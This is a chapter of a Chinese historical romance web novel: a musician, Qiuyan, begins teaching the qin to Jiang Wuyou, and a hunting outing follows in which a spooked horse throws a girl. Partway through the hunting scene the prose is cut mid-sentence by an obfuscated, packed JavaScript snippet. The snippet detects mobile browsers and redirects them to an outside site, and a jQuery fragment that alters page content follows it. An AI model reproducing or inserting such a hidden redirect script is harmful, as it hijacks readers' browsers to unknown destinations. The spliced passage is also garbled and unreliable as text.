秋烟自那日同沈珩合奏过一曲后,便再未曾被传唤。
成日待在府中,竟是闲事半件也无,这样的生活对她而言实在是太过陌生。
她这样的人心中该有权衡,待人可以有感恩,也可以有仇恨,唯独心动之后,等待自己的就是万劫不复。
可她到底不过是个十八岁的女子,纵然再明白再通透,却未必能管住自己的心,自那日起她总是想到对方的那张脸,俊秀而矜贵,也想起两人共奏的曲音,仅仅是回想就生出了隐秘难言的快乐。
三皇子,沈珩,这个在大夏朝无人不知的聪颖皇子,高不可攀、贵不可言,自己却有机会靠近他,已然万分侥幸。
以至于此后再小的设想都是奢念妄想。
故而当沈珩再次唤她却是叫她去另一所宅子上教女孩琴艺的时候,她心静如水,并没生出什么失望的情绪来。
而当沈珩叫自己不要透露出他三皇子的身份时,秋烟才颇有些动容。
难道画本子里的故事当真不是编的?
皇子与民间的女孩相识,称自己是个商贾之家的公子,与那女孩相知相爱,暗中守护?
而另一种浮上心头的滋味则是微妙的忐忑,毕竟年轻的美貌女子之间彼此的恶意往往更盛,既然三皇子叫自己为那人教习琴术,自己便不仅是三皇子之奴,亦要由对那不曾谋面的女子听之任之。
真正当她见到那位名叫姜无忧的少女时,不禁一时诧异,毕竟这女子着实和她想象之中相差甚远。
她站在门外,瞧里头望去,屋里有两个女孩,均是十四五岁的年纪。
单凭着直觉,她觉得其中那个略大些的明媚而英气的女孩该是姜无忧。
“你当真不跟我们去?”
另一个坐在凳上的女子年龄略小些,身形瘦小,唯独一双眼还算是有点灵气,瓮声瓮气回答道:“我不去,去了也是添麻烦。”
“有我在呢,你怕什么?”
卢小意有点犹豫,但还是摇摇头。
姜无忧揽住卢小意脖子,再不由她分说,“就一起去,你看你干瘦干瘦的,多晒晒太阳对身子好!我和你同骑一匹马,还怕保护不了你?”
那瘦弱女孩嗔怒地瞪了那明媚英气的姑娘,不再说话,也算是默认。
两人显然极为相熟。
秋烟微微蹙眉,今日她特意打扮的简约素净,怎么会想到在这两位姑娘面前,却还是要显得太贵气了些。
“你来了?可是那位要教我学琴的姑娘?”姜无忧瞧见秋烟便朝这边走来。
秋烟忙踏进门来,轻轻欠身还未行过礼就被姜无忧给拉了起来,“见过姜姑娘,是陈公子叫秋烟陪着姑娘练琴。”
姜无忧嘴角勾起好看的弧度,“我在习琴上粗蠢,以后就要秋烟姐姐多费心了。”
卢小意却似呆了,“好个漂亮的姐姐,竟如神仙一般。”
秋烟对这两人的反应所料未及,一时慌乱,对姜无忧说道:“姑娘折煞秋烟了。”
姜无忧按着秋烟坐下,“从此可莫客气,黑刃是教我习武的夫子,你就是我的习琴的夫子了。”
闻言秋烟又是一怔,她来三皇子府上便知道平日里跟从三皇子出走的侍从叫做黑刃,武功高强,是极受用的,竟然被派过来叫姜无忧习武?
姜无忧在三皇子沈珩心中的份量可想而知。
“姑娘竟还会武?”
卢小意插口道:“可不仅是会武,无忧的功夫可不得了着呢。”
“原来如此,姜姑娘正当才艺众多。”
“你若敢兴趣,我也托大教你一二如何?”
秋烟笑了,“习武可不是一二日能成的。”
“当做强身练体也好。”
农历七月初三,暑气已褪大半,晨露还凝在草叶尖上,便有一阵急促的马蹄声踏破了京郊青莽山的寂静。
沈珩和沈明安穿着便衣,带了些随身侍从就来到了外野。此时林间雾气尚未散尽,阳光透过枝叶缝隙洒下,在地面织就斑驳的光影。风里裹着松针的清苦与腐叶的湿润,偶尔夹杂几声不知名的鸟啼,倒让这野猎多了几分野趣。
不多时,两位少女共乘一匹白马也来到了此处。
沈珩朝姜无忧笑道,“小心些,莫要从马上摔下来了。”
“别小看人了。”
沈珩嘴角勾起,不经意间露出宠溺的神情,如此模样叫他自己看了都要吃惊。
他自马鞍旁取下一张玄铁硬弓,那弓身黝黑,透着冷冽的光泽。
姜无忧只听见箭矢破空之声,随之望去果然一只翱翔于天的鸟儿被射中坠了下来。
“好箭术。”姜无忧赞道。
沈珩笑笑,“在张公子面前我的箭术可是不够看的。”
“竟如此,那我和小意今日就长见识了。”
沈珩有些戏谑,“那可不,张公子的箭法可是京城闻名的。”
沈珩这话确实不错。
箭法能在京城闻名的人不多,而叫人第一个想起的则必然是宁王之子,当今皇帝最宠爱的后辈沈明安。
此刻这位张公子左手搭在马鞍上,右手缓缓取下背上的长弓,指尖漫不经心地摩挲着乌木弓身。
阳光落在他侧脸,勾勒出下颌利落的线条,他目光扫过二十步外的松枝,不过一瞬,便已搭箭拉弓。
他动作行云流水,不见半分凝滞,弓弦嗡鸣的瞬间,羽箭如一道墨色闪电射向松枝之间,正射中一只正昂首梳理羽毛的锦鸡。
箭簇精准穿透其心脏,令那锦鸡连一声哀鸣都未来得及发出就直直倒在草地上。
“果然好箭法!”姜无忧喝彩道。
沈明安面色平静,神色淡淡而不冷傲。
接下来,无论是飞奔的野兔,还是高飞的雁群,沈明安箭无虚发,每一箭都直取要害。野兔被射穿头颅,大雁被击中心脏,所有猎物皆是一击毙命,无半分挣扎。
卢小意忍不住问道:“张公子为何总是瞄准这些难以射中的部位?若是射中身体,不是更容易些吗?”
可她声音实在太小,除了与她同乘一马的姜无忧外几乎没人能听清。
而沈明安又像是回答卢小意又仿佛在自言自语,他目光沉静如水,“我既取它们性命,便最快了结。”
沈珩微微颔首,说道:“不错,猎物亦是有知觉的生命。若只射中非要害,它们将痛苦挣扎许久方死。”
姜无忧闻言,不禁肃然起敬。她望着张公子棱角分明的侧脸,心中泛起一丝难以言喻的涟漪,原来这么冷淡的外表之下,倒有一颗怜悯的善心。
很快,姜无忧就把心思放在了别处。
她习弓箭的日子不多,过往练习则多是射靶子,并不擅长射杀活物,但她并不是就无计可施了。投掷暗器还算她之所长,于是偶偶捡了石子,打些白兔也算有趣。
沈明安沈珩偶尔回头驻望之时,也会为她停留了目光。
那善剑的少女显然不擅弓箭,却自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477654|185610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找了乐儿,着实有野趣。她时不时同身后的女孩说着话,把卢小意逗得常露欢颜。
日头渐高,狩猎已进行了一个多时辰。其中当属沈明安收获最丰富,沈珩其次。
行至溪边,几人决定稍作休息,也好叫马匹饮水。
姜无忧骑着白马走在队伍后面,手挽缰绳的姿态虽标准,眼底却藏着几分初涉野猎的好奇。
忽然,草丛中窜出一条花蛇,正从白马蹄前滑过。马儿受惊,前蹄猛地扬起,发出一声惊恐的长嘶。姜无忧猝不及防,险些被甩下马背,姜无忧急忙抓紧缰绳,却已控制不住受惊的马儿。
“抓紧我。”白马突然受惊,姜无忧又初学御马,只好专注于自己不摔下马去,一时无法兼顾卢小意。
“当心!”沈珩惊呼。
白马已经完全失控,它疯狂地跳跃奔腾,向着树林深处冲去。姜无忧只觉得耳边风声呼啸,她拼尽全力想要控制坐骑,但力量悬殊,她的身体在马背上剧烈摇晃,只好绷紧了腰背贴近马身保持平衡。
没有武功功底的卢小意则是大脑一片空白,在白马再一次扬蹄之时竟被那力给抛了起来。
姜无忧大骇,正要不顾自己先拉住卢小意时便看见一道黑影如疾风般从侧面追来,原来正是黑刃以极其惊人的速度奔过来。
姜无忧再无暇顾及,只全心应对此马,受惊的马儿非她所能够掌控,只是借着时机以轻功离了马身。
她平落于地,便看见正急忙赶来的沈珩已下了马走到她身侧,“你还好?可有受伤?”
姜无忧脸色苍白,神色却的确不是大受惊吓后的样子,她扯出个浅浅的笑,“我没事。”说完便向黑刃卢小意那边走去。
方才那卢小意被黑刃从空中接了个稳当,虽说连皮肉之伤都没有,但一时惊恐却在心中难以平复。
她靠在黑刃坚实的胸膛上,能感受到他平稳的心跳和有节奏的呼吸,与自己慌乱的心跳形成鲜明对比。她闻到他身上淡淡的檀香混合着青草的气息,莫名地让她安下心来。
尽管双腿还发着软,卢小意还是强迫着自己定了神,屈膝行礼,“多谢黑刃相救,若非公子……”
她声音里带着几分后怕,脸色亦是煞白,更衬得那双眼睛比平日更大了,黑亮清透,黑刃几乎能从这双瞳子里看到自己的倒影。
他杀人杀得太多了,常人临死前恐惧的神色他太过熟悉,反而是感激的情态,他却陌生的很。原来一个不过十四岁的小姑娘,眸中的浓浓感激也能叫人心微微颤动。
沈珩目光扫过那匹仍在远处不安地刨着蹄子但并不复刚才狂躁的白马,对身后赶来的仆从道:“给马喂些安神草,今日不宜再往前了。”
“没事了。”沈珩声音平静,但眼含关切,对姜无忧安慰道:“马只是被蛇惊了,现在已经无碍。”
姜无忧点点头,目光不自觉地望向正在检查白马状况的侍从。只见一侍从正仔细查看马蹄和马身,确认没有受伤后,轻轻抚摸着马的脖颈,低声安抚着仍在不安的坐骑。
不多时,马儿恢复了平静,那位侍从上前禀告道:“姑娘的马具似乎有些问题,辔头过紧,马匹不适已久,方才受惊才特别剧烈。若不调整,日后恐再生事端。”
姜无忧顿时懊恼,若非她未调适好马具,或许卢小意便不至于受此惊吓了。
此时晨雾已散,阳光洒满林间,透过枝叶洒在几人身上,暖意融融。
仆从们已收拾好猎物,准备返程。